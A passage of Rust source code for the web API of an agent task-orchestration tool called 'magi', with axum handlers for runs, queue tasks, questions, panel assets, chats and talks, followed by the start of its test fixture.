1819 .take(limit)
1820 .map(|state| {
1821 let waiting = !ui.questions.open_for(&state.id).is_empty();
1822 let by = superseded.get(&state.id).cloned();
1823 let mut row = RunSummary::of(&state, waiting);
1824 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1825 row
1826 })
1827 .collect();
1828 Ok(Json(summaries))
1829 })
1830 .await
1831}
1832
1833fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1846 let mut by = HashMap::new();
1847 for task in queue.list() {
1848 for pair in task.runs.windows(2) {
1849 if let [earlier, later] = pair {
1850 by.insert(earlier.clone(), later.clone());
1851 }
1852 }
1853 }
1854 by
1855}
1856
1857#[derive(Debug, Serialize)]
1864struct RunDetailView {
1865 #[serde(flatten)]
1866 state: RunState,
1867 instruction_md: Vec<md::Node>,
1868}
1869
1870impl From<RunState> for RunDetailView {
1871 fn from(state: RunState) -> Self {
1872 Self {
1873 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1874 state,
1875 }
1876 }
1877}
1878
1879async fn run_detail(
1880 State(ui): State<Arc<Ui>>,
1881 Path(id): Path<String>,
1882) -> ApiResult<Json<RunDetailView>> {
1883 blocking(move || {
1884 let id = resolve_run(&ui.runs, &id)?;
1885 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1886 })
1887 .await
1888}
1889
1890async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1899 let (id, unreadable) = {
1900 let ui = Arc::clone(&ui);
1901 blocking(move || {
1902 let id = resolve_run(&ui.runs, &id)?;
1903 match read_run(&ui.runs, &id) {
1904 Ok(state) => {
1905 let in_flight =
1906 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1907 state
1908 .ensure_can_delete(in_flight)
1909 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1910 let dir = ui.runs.join(&id);
1911 std::fs::remove_dir_all(&dir)
1912 .with_context(|| format!("remove run directory {}", dir.display()))?;
1913 Ok((id, false))
1914 }
1915 Err(_) => {
1916 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1920 return Err(ApiError::conflict(format!(
1921 "run {id} is being worked on by a live daemon right now"
1922 )));
1923 }
1924 Ok((id, true))
1925 }
1926 }
1927 })
1928 .await?
1929 };
1930 if unreadable {
1931 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
1932 .await
1933 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1934 }
1935 let ui = Arc::clone(&ui);
1936 let done = id.clone();
1937 blocking(move || {
1938 ui.questions.abandon_for_run(
1941 &done,
1942 &format!("run {done} was deleted, so nothing is waiting for this answer"),
1943 )?;
1944 Ok(())
1945 })
1946 .await?;
1947 Ok(StatusCode::NO_CONTENT)
1948}
1949
1950async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1974 let (id, state) = {
1975 let ui = Arc::clone(&ui);
1976 blocking(move || {
1977 let id = resolve_run(&ui.runs, &id)?;
1978 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1979 return Err(ApiError::conflict(format!(
1980 "run {id} is being worked on by a live daemon right now"
1981 )));
1982 }
1983 let state = read_run(&ui.runs, &id).ok();
1984 Ok((id, state))
1985 })
1986 .await?
1987 };
1988 let removed = match state {
1989 Some(mut state) => crate::graph::fold_run(&mut state, true)
1990 .await
1991 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
1992 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
1993 .await
1994 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
1995 };
1996 Ok(Json(FoldView {
1997 run: id,
1998 removed_count: removed.len(),
1999 removed,
2000 }))
2001}
2002
2003#[derive(Debug, Serialize)]
2005struct FoldView {
2006 run: String,
2007 removed: Vec<String>,
2009 removed_count: usize,
2010}
2011
2012async fn run_resume(
2031 State(ui): State<Arc<Ui>>,
2032 Path(id): Path<String>,
2033) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2034 let (id, state) = {
2035 let ui = Arc::clone(&ui);
2036 blocking(move || {
2037 let id = resolve_run(&ui.runs, &id)?;
2038 let state = read_run(&ui.runs, &id)?;
2039 Ok((id, state))
2040 })
2041 .await?
2042 };
2043 if !state.status.resumable() {
2044 return Err(ApiError::conflict(format!(
2045 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2046 state.short(),
2047 status_word(state.status)
2048 )));
2049 }
2050 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
2051 return Err(ApiError::conflict(format!(
2052 "the loop is running run {} right now; magi runs one competition at \
2053 a time so the agent quota is not spent twice over. Stop the loop \
2054 first.",
2055 crate::run::short_of(&work.run)
2056 )));
2057 }
2058 let _resume = ui.begin_resume(&id)?;
2059
2060 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2063 let run = id.clone();
2064 tokio::spawn(async move {
2065 let _resume = _resume;
2066 match crate::graph::Runner::resume(&run) {
2067 Ok(mut runner) => {
2068 if let Err(e) = runner.execute().await {
2069 tracing::warn!("resume of run {run} stopped: {e:#}");
2070 }
2071 }
2072 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2075 }
2076 });
2077 Ok((StatusCode::ACCEPTED, Json(queued)))
2078}
2079
2080async fn run_report(
2081 State(ui): State<Arc<Ui>>,
2082 Path(id): Path<String>,
2083) -> ApiResult<impl IntoResponse> {
2084 let text = blocking(move || {
2085 let id = resolve_run(&ui.runs, &id)?;
2086 Ok(report::run(&read_run(&ui.runs, &id)?))
2090 })
2091 .await?;
2092 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2093}
2094
2095#[derive(Debug, Serialize)]
2101struct TaskView {
2102 #[serde(flatten)]
2103 task: Task,
2104 source_label: String,
2105 status_str: &'static str,
2106 instruction_md: Vec<md::Node>,
2110}
2111
2112impl From<Task> for TaskView {
2113 fn from(task: Task) -> Self {
2114 Self {
2115 source_label: task.source.label(),
2116 status_str: task.status.as_str(),
2117 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2118 task,
2119 }
2120 }
2121}
2122
2123#[derive(Debug, Default, Deserialize)]
2126#[serde(default)]
2127struct ReposQuery {
2128 refresh: u8,
2129}
2130
2131async fn repos_list(
2139 State(ui): State<Arc<Ui>>,
2140 Query(q): Query<ReposQuery>,
2141) -> ApiResult<Json<Vec<repos::Repo>>> {
2142 let refresh = q.refresh != 0;
2143 blocking(move || {
2144 let (cfg, _) = Config::discover(&ui.repo, None)?;
2145 Ok(Json(ui.repos_cache.list(
2146 &cfg.repos.roots,
2147 Duration::from_secs(cfg.repos.scan_ttl),
2148 refresh,
2149 )))
2150 })
2151 .await
2152}
2153
2154async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2155 blocking(move || {
2156 Ok(Json(
2157 ui.queue.list().into_iter().map(TaskView::from).collect(),
2158 ))
2159 })
2160 .await
2161}
2162
2163async fn queue_hold(
2164 State(ui): State<Arc<Ui>>,
2165 Path(id): Path<String>,
2166) -> ApiResult<Json<TaskView>> {
2167 mutate(ui, id, Task::hold).await
2168}
2169
2170async fn queue_release(
2171 State(ui): State<Arc<Ui>>,
2172 Path(id): Path<String>,
2173) -> ApiResult<Json<TaskView>> {
2174 mutate(ui, id, Task::release).await
2175}
2176
2177async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2185 blocking(move || {
2186 let id = resolve_task(&ui.queue, &id)?;
2187 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2188 ui.queue
2189 .remove(&id, in_flight)
2190 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2191 Ok(StatusCode::NO_CONTENT)
2192 })
2193 .await
2194}
2195
2196async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2202 blocking(move || {
2203 let id = resolve_task(&ui.queue, &id)?;
2204 let _claim = ui.queue.claim(&id).map_err(|e| {
2209 ApiError::conflict(format!(
2210 "{e:#} - a daemon is running this task, so it cannot be \
2211 changed from here yet"
2212 ))
2213 })?;
2214 let mut task = ui.queue.get(&id)?;
2215 change(&mut task);
2216 ui.queue.put(&mut task)?;
2217 Ok(Json(TaskView::from(task)))
2218 })
2219 .await
2220}
2221
2222async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2230 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2231 tokio::spawn(async move {
2232 let mut ticker = tokio::time::interval(POLL);
2233 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2234 loop {
2235 ticker.tick().await;
2238 let state = Arc::clone(&ui);
2239 let revisions = tokio::task::spawn_blocking(move || {
2240 (
2241 state.queue.revision(),
2242 runs_revision(&state.runs),
2243 state.questions.revision(),
2244 state.chats.revision(),
2245 state.talks.revision(),
2246 state.lock_loop().rev,
2250 )
2251 })
2252 .await;
2253 let Ok(revisions) = revisions else { break };
2254 if last == Some(revisions) {
2255 continue;
2256 }
2257 last = Some(revisions);
2258 let payload = serde_json::json!({
2259 "queue_rev": revisions.0,
2260 "runs_rev": revisions.1,
2261 "questions_rev": revisions.2,
2262 "chats_rev": revisions.3,
2263 "talks_rev": revisions.4,
2264 "loop_rev": revisions.5,
2265 });
2266 let Ok(event) = Event::default().event("change").json_data(payload) else {
2268 break;
2269 };
2270 if tx.send(event).await.is_err() {
2271 break;
2272 }
2273 }
2274 });
2275 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2276 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2277}
2278
2279fn runs_revision(runs: &FsPath) -> u64 {
2286 use std::hash::{Hash as _, Hasher as _};
2287
2288 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2289 .into_iter()
2290 .flatten()
2291 .flatten()
2292 .filter_map(|e| {
2293 let path = e.path().join("run.json");
2294 let mtime = path
2295 .metadata()
2296 .ok()?
2297 .modified()
2298 .ok()?
2299 .duration_since(std::time::UNIX_EPOCH)
2300 .ok()?
2301 .as_millis() as u64;
2302 let id = e.file_name().to_string_lossy().into_owned();
2303 Some((id, mtime))
2304 })
2305 .collect();
2306
2307 if entries.is_empty() {
2308 return 0;
2309 }
2310
2311 entries.sort_unstable();
2312 let mut hasher = std::hash::DefaultHasher::new();
2313 for (id, mtime) in &entries {
2314 id.hash(&mut hasher);
2315 mtime.hash(&mut hasher);
2316 }
2317 let h = hasher.finish();
2318 if h == 0 { 1 } else { h }
2319}
2320
2321fn run_ids(runs: &FsPath) -> Vec<String> {
2327 let mut ids: Vec<String> = std::fs::read_dir(runs)
2328 .into_iter()
2329 .flatten()
2330 .flatten()
2331 .filter(|e| e.path().join("run.json").is_file())
2332 .map(|e| e.file_name().to_string_lossy().into_owned())
2333 .collect();
2334 ids.sort_unstable_by(|a, b| b.cmp(a));
2336 ids
2337}
2338
2339fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2341 let path = runs.join(id).join("run.json");
2342 let body =
2343 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2344 let state: RunState =
2345 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2346 if state.schema != run::SCHEMA {
2347 anyhow::bail!(
2348 "run {} was written by a different magi (schema {}, this build speaks {})",
2349 state.id,
2350 state.schema,
2351 run::SCHEMA
2352 );
2353 }
2354 Ok(state)
2355}
2356
2357#[must_use]
2365pub fn runs_unreadable(runs: &FsPath) -> usize {
2366 run_ids(runs)
2367 .into_iter()
2368 .filter(|id| read_run(runs, id).is_err())
2369 .count()
2370}
2371
2372fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2374 if runs.join(id).join("run.json").is_file() {
2375 return Ok(id.to_owned());
2376 }
2377 pick(run_ids(runs), id, "run")
2378}
2379
2380fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2382 if queue.path_of(id).is_file() {
2383 return Ok(id.to_owned());
2384 }
2385 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2386}
2387
2388#[derive(Debug, Serialize)]
2399struct QuestionView {
2400 #[serde(flatten)]
2401 question: Question,
2402 detail_md: Vec<md::Node>,
2403}
2404
2405impl From<Question> for QuestionView {
2406 fn from(question: Question) -> Self {
2407 let base = md::ImageBase::QuestionPanel {
2408 id: question.id.clone(),
2409 };
2410 Self {
2411 detail_md: md::to_nodes(&question.detail, &base),
2412 question,
2413 }
2414 }
2415}
2416
2417async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2423 blocking(move || {
2424 Ok(Json(
2425 ui.questions
2426 .list()
2427 .into_iter()
2428 .map(QuestionView::from)
2429 .collect(),
2430 ))
2431 })
2432 .await
2433}
2434
2435#[derive(Debug, Default, Deserialize)]
2441#[serde(default, deny_unknown_fields)]
2442struct NewAnswer {
2443 choice: Option<String>,
2444 text: Option<String>,
2445}
2446
2447async fn question_answer(
2448 State(ui): State<Arc<Ui>>,
2449 Path(id): Path<String>,
2450 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2451) -> ApiResult<Json<QuestionView>> {
2452 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2453 let answer = match (body.choice, body.text) {
2454 (Some(c), None) => Answer::Choice(c),
2455 (None, Some(t)) => Answer::Text(t),
2456 (Some(_), Some(_)) => {
2457 return Err(ApiError::bad_request(
2458 "send either `choice` or `text`, not both",
2459 ));
2460 }
2461 (None, None) => {
2462 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2463 }
2464 };
2465
2466 blocking(move || {
2467 let id = resolve_question(&ui.questions, &id)?;
2468 let mut q = ui
2469 .questions
2470 .get(&id)
2471 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2472 if !q.status.open() {
2473 return Err(ApiError::conflict(format!(
2477 "question {} is already {}",
2478 q.short(),
2479 q.status.as_str()
2480 )));
2481 }
2482 q.answer(answer).map_err(ApiError::bad_request_from)?;
2486 ui.questions.put(&mut q)?;
2487 Ok(Json(QuestionView::from(q)))
2488 })
2489 .await
2490}
2491
2492fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2494 if store.path_of(id).is_file() {
2495 return Ok(id.to_owned());
2496 }
2497 pick(
2498 store.list().into_iter().map(|q| q.id).collect(),
2499 id,
2500 "question",
2501 )
2502}
2503
2504async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2519 blocking(move || {
2520 let id = resolve_question(&ui.questions, &id)?;
2521 let Some(html) = ui.questions.panel_html(&id) else {
2522 return Err(ApiError::not_found(format!("question {id} has no panel")));
2523 };
2524 Ok(panel_response(
2525 "text/html; charset=utf-8",
2526 false,
2527 html.into_bytes(),
2528 ))
2529 })
2530 .await
2531}
2532
2533async fn question_asset(
2561 State(ui): State<Arc<Ui>>,
2562 Path((id, name)): Path<(String, String)>,
2563) -> ApiResult<Response> {
2564 if !crate::ask::valid_asset_name(&name) {
2567 return Err(ApiError::bad_request(format!(
2568 "`{name}` is not a usable asset name"
2569 )));
2570 }
2571 blocking(move || {
2572 let id = resolve_question(&ui.questions, &id)?;
2573 let asset = ui
2574 .questions
2575 .panel_asset(&id, &name)
2576 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2577 let Some(bytes) = asset else {
2578 return Err(ApiError::not_found(format!(
2579 "question {id} has no asset `{name}`"
2580 )));
2581 };
2582 Ok(panel_response(
2583 asset_content_type(&name),
2584 is_svg(&name),
2585 bytes,
2586 ))
2587 })
2588 .await
2589}
2590
2591fn asset_content_type(name: &str) -> &'static str {
2604 match extension(name).as_deref() {
2605 Some("png") => "image/png",
2606 Some("jpg" | "jpeg") => "image/jpeg",
2607 Some("gif") => "image/gif",
2608 Some("webp") => "image/webp",
2609 Some("svg") => "image/svg+xml",
2610 Some("css") => "text/css; charset=utf-8",
2611 Some("txt") => "text/plain; charset=utf-8",
2612 _ => "application/octet-stream",
2613 }
2614}
2615
2616fn is_svg(name: &str) -> bool {
2619 extension(name).as_deref() == Some("svg")
2620}
2621
2622fn extension(name: &str) -> Option<String> {
2624 name.rsplit_once('.')
2625 .map(|(_, ext)| ext.to_ascii_lowercase())
2626}
2627
2628fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2645 let mut res = (
2646 [
2647 (header::CONTENT_TYPE, content_type),
2648 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2649 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2650 (header::REFERRER_POLICY, "no-referrer"),
2651 ],
2652 body,
2653 )
2654 .into_response();
2655 if download {
2656 res.headers_mut().insert(
2657 header::CONTENT_DISPOSITION,
2658 HeaderValue::from_static("attachment"),
2659 );
2660 }
2661 res
2662}
2663
2664#[derive(Debug, Serialize)]
2673struct ChatView {
2674 #[serde(flatten)]
2675 chat: Chat,
2676 turn_bodies_md: Vec<Vec<md::Node>>,
2677 draft_md: Option<Vec<md::Node>>,
2678}
2679
2680impl From<Chat> for ChatView {
2681 fn from(chat: Chat) -> Self {
2682 let turn_bodies_md = chat
2683 .turns
2684 .iter()
2685 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2686 .collect();
2687 let draft_md = chat
2688 .draft
2689 .as_deref()
2690 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2691 Self {
2692 turn_bodies_md,
2693 draft_md,
2694 chat,
2695 }
2696 }
2697}
2698
2699async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2707 blocking(move || {
2708 Ok(Json(
2709 ui.chats.list().into_iter().map(ChatView::from).collect(),
2710 ))
2711 })
2712 .await
2713}
2714
2715async fn chat_detail(
2716 State(ui): State<Arc<Ui>>,
2717 Path(id): Path<String>,
2718) -> ApiResult<Json<ChatView>> {
2719 blocking(move || {
2720 let id = resolve_chat(&ui.chats, &id)?;
2721 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2722 })
2723 .await
2724}
2725
2726#[derive(Debug, Default, Deserialize)]
2737#[serde(default)]
2738struct NewChat {
2739 idea: String,
2740 agent: Option<String>,
2741 repo: Option<PathBuf>,
2742 from: Option<String>,
2743}
2744
2745async fn chat_post(
2754 State(ui): State<Arc<Ui>>,
2755 body: std::result::Result<Json<NewChat>, JsonRejection>,
2756) -> ApiResult<impl IntoResponse> {
2757 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2758 if body.idea.trim().is_empty() {
2759 return Err(ApiError::bad_request(
2760 "an interview needs something to interview about",
2761 ));
2762 }
2763
2764 let from = {
2768 let ui = Arc::clone(&ui);
2769 let from_id = body.from.clone();
2770 blocking(move || match from_id {
2771 None => Ok(None),
2772 Some(id) => {
2773 let resolved = resolve_chat(&ui.chats, &id)?;
2774 Ok(Some(ui.chats.get(&resolved)?))
2775 }
2776 })
2777 .await?
2778 };
2779
2780 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2784 let cfg = config_for(&repo).await?;
2785 let chat = chat::start(
2786 &ui.chats,
2787 &cfg,
2788 repo,
2789 &body.idea,
2790 body.agent.as_deref(),
2791 from.as_ref(),
2792 )
2793 .await
2794 .map_err(ApiError::from)?;
2795 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2796}
2797
2798#[derive(Debug, Default, Deserialize)]
2800#[serde(default, deny_unknown_fields)]
2801struct NewTurn {
2802 text: String,
2803}
2804
2805async fn chat_say(
2831 State(ui): State<Arc<Ui>>,
2832 Path(id): Path<String>,
2833 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2834) -> ApiResult<(StatusCode, Json<ChatView>)> {
2835 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2836 if body.text.trim().is_empty() {
2837 return Err(ApiError::bad_request("say something"));
2838 }
2839
2840 let id = {
2841 let ui = Arc::clone(&ui);
2842 let asked = id.clone();
2843 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2844 };
2845 let _turn = ui.begin_turn(&id)?;
2849
2850 let (chat, cfg) = {
2851 let ui = Arc::clone(&ui);
2852 let id = id.clone();
2853 blocking(move || {
2854 let chat = ui.chats.get(&id)?;
2855 let (cfg, _) = Config::discover(&chat.repo, None)?;
2856 Ok((chat, cfg))
2857 })
2858 .await?
2859 };
2860
2861 let chats = ui.chats.clone();
2876 let text = {
2877 let mut chat = chat.clone();
2878 let chats = chats.clone();
2879 let said = body.text.clone();
2880 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2881 };
2882 let mut chat = {
2885 let ui = Arc::clone(&ui);
2886 let id = id.clone();
2887 blocking(move || Ok(ui.chats.get(&id)?)).await?
2888 };
2889 let queued = chat.clone();
2890 tokio::spawn(async move {
2891 let _turn = _turn;
2892 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2893 tracing::warn!("chat {id} turn failed: {e:#}");
2896 }
2897 });
2898
2899 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2903}
2904
2905#[derive(Debug, Default, Deserialize)]
2907#[serde(default, deny_unknown_fields)]
2908struct FileDraft {
2909 priority: i32,
2910}
2911
2912async fn chat_file(
2919 State(ui): State<Arc<Ui>>,
2920 Path(id): Path<String>,
2921 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2922) -> ApiResult<Json<serde_json::Value>> {
2923 let body = match body {
2928 Ok(Json(body)) => body,
2929 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2930 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2931 };
2932
2933 blocking(move || {
2934 let id = resolve_chat(&ui.chats, &id)?;
2935 let mut chat = ui.chats.get(&id)?;
2936 if let Err(problems) = chat::draft_problems(&chat) {
2941 return Err(ApiError::bad_request_with(
2942 "the draft is not fileable yet",
2943 problems,
2944 ));
2945 }
2946 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2947 Ok(Json(serde_json::json!({ "task": task })))
2948 })
2949 .await
2950}
2951
2952fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2954 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2955}
2956
2957#[derive(Debug, Serialize)]
2963struct TalkView {
2964 #[serde(flatten)]
2965 talk: Talk,
2966 turn_bodies_md: Vec<Vec<md::Node>>,
2967}
2968
2969impl From<Talk> for TalkView {
2970 fn from(talk: Talk) -> Self {
2971 let turn_bodies_md = talk
2972 .turns
2973 .iter()
2974 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2975 .collect();
2976 Self {
2977 turn_bodies_md,
2978 talk,
2979 }
2980 }
2981}
2982
2983#[derive(Debug, Serialize)]
2988struct TalkDetailView {
2989 #[serde(flatten)]
2990 view: TalkView,
2991 tasks: Vec<TaskView>,
2992}
2993
2994async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
2999 blocking(move || {
3000 Ok(Json(
3001 ui.talks.list().into_iter().map(TalkView::from).collect(),
3002 ))
3003 })
3004 .await
3005}
3006
3007#[derive(Debug, Default, Deserialize)]
3013#[serde(default)]
3014struct NewTalk {
3015 agent: Option<String>,
3016 repo: Option<PathBuf>,
3017}
3018
3019async fn talk_post(
3022 State(ui): State<Arc<Ui>>,
3023 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3024) -> ApiResult<impl IntoResponse> {
3025 let body = match body {
3029 Ok(Json(body)) => body,
3030 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3031 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3032 };
3033 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3034 let cfg = config_for(&repo).await?;
3035 let view = blocking(move || {
3036 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3037 Ok(TalkView::from(talk))
3038 })
3039 .await?;
3040 Ok((StatusCode::CREATED, Json(view)))
3041}
3042
3043async fn talk_detail(
3045 State(ui): State<Arc<Ui>>,
3046 Path(id): Path<String>,
3047) -> ApiResult<Json<TalkDetailView>> {
3048 blocking(move || {
3049 let id = resolve_talk(&ui.talks, &id)?;
3050 let talk = ui.talks.get(&id)?;
3051 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3052 .into_iter()
3053 .map(TaskView::from)
3054 .collect();
3055 Ok(Json(TalkDetailView {
3056 view: TalkView::from(talk),
3057 tasks,
3058 }))
3059 })
3060 .await
3061}
3062
3063#[derive(Debug, Default, Deserialize)]
3065#[serde(default, deny_unknown_fields)]
3066struct NewTalkTurn {
3067 text: String,
3068}
3069
3070async fn talk_say(
3082 State(ui): State<Arc<Ui>>,
3083 Path(id): Path<String>,
3084 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3085) -> ApiResult<(StatusCode, Json<TalkView>)> {
3086 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3087 if body.text.trim().is_empty() {
3088 return Err(ApiError::bad_request("say something"));
3089 }
3090
3091 let id = {
3092 let ui = Arc::clone(&ui);
3093 let asked = id.clone();
3094 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3095 };
3096 let _turn = ui.begin_talk_turn(&id)?;
3100
3101 let (talk, cfg) = {
3102 let ui = Arc::clone(&ui);
3103 let id = id.clone();
3104 blocking(move || {
3105 let talk = ui.talks.get(&id)?;
3106 let (cfg, _) = Config::discover(&talk.repo, None)?;
3107 Ok((talk, cfg))
3108 })
3109 .await?
3110 };
3111
3112 let talks = ui.talks.clone();
3113 let text = {
3114 let mut talk = talk.clone();
3115 let talks = talks.clone();
3116 let said = body.text.clone();
3117 blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3118 };
3119 let talk = {
3122 let ui = Arc::clone(&ui);
3123 let id = id.clone();
3124 blocking(move || Ok(ui.talks.get(&id)?)).await?
3125 };
3126 let queued = talk.clone();
3127 tokio::spawn(async move {
3128 let _turn = _turn;
3129 let mut talk = talk;
3130 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3131 tracing::warn!("talk {id} turn failed: {e:#}");
3134 }
3135 });
3136
3137 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3139}
3140
3141async fn talk_close(
3143 State(ui): State<Arc<Ui>>,
3144 Path(id): Path<String>,
3145) -> ApiResult<Json<TalkView>> {
3146 blocking(move || {
3147 let id = resolve_talk(&ui.talks, &id)?;
3148 let mut talk = ui.talks.get(&id)?;
3149 talk::close(&mut talk, &ui.talks)?;
3150 Ok(Json(TalkView::from(talk)))
3151 })
3152 .await
3153}
3154
3155fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3157 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3158}
3159
3160async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3168 let repo = repo.to_path_buf();
3169 blocking(move || {
3170 let (cfg, _) = Config::discover(&repo, None)?;
3171 Ok(cfg)
3172 })
3173 .await
3174}
3175
3176fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3182 let mut hits = ids
3183 .into_iter()
3184 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3185 match (hits.next(), hits.next()) {
3186 (Some(one), None) => Ok(one),
3187 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3188 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3189 "`{prefix}` matches more than one {what}, including {a} and {b}"
3190 ))),
3191 }
3192}
3193
3194#[cfg(test)]
3195mod tests {
3196 use pretty_assertions::assert_eq;
3197 use serde_json::Value;
3198 use tempfile::TempDir;
3199 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3200
3201 use super::*;
3202 use crate::config::Config;
3203 use crate::queue::{Source, TaskStatus};
3204
3205 struct Fixture {
3211 home: TempDir,
3212 addr: SocketAddr,
3213 }
3214
3215 impl Fixture {
3216 async fn start() -> Self {
3217 Self::with_loop(launch_idle).await
3218 }
3219
3220 async fn with_loop(launch: Launch) -> Self {
3222 let home = TempDir::new().expect("temp home");
3223 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3224 Self { home, addr }
3225 }
3226
3227 async fn with_repo(repo: PathBuf) -> Self {
3231 let home = TempDir::new().expect("temp home");
3232 let addr = Self::serve(home.path(), repo, launch_idle).await;
3233 Self { home, addr }
3234 }
3235
3236 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3237 let queue = Queue::at(home.join("queue"));
3238 let runs = home.join("runs");
3239 std::fs::create_dir_all(&runs).expect("runs dir");
3240 let worktrees = home.join("wt").join("magi");
3241 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3242 let ui = Ui::new(
3243 queue,
3244 Questions::at(home.join("questions")),
3245 Chats::at(home.join("chats")),
3246 Talks::at(home.join("talks")),
3247 runs,
3248 home.to_path_buf(),
3249 repo,
3250 )
3251 .with_worktrees_root(worktrees)
3252 .with_launch(launch);
3253 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3254 .await
3255 .expect("bind loopback");
3256 let addr = listener.local_addr().expect("local addr");
3257 tokio::spawn(async move {
3258 let _ = axum::serve(listener, ui.router()).await;
3259 });
3260 addr
3261 }
3262
3263 fn queue(&self) -> Queue {
3264 Queue::at(self.home.path().join("queue"))
3265 }
3266
3267 fn questions(&self) -> Questions {
3268 Questions::at(self.home.path().join("questions"))
3269 }
3270
3271 fn chats(&self) -> Chats {
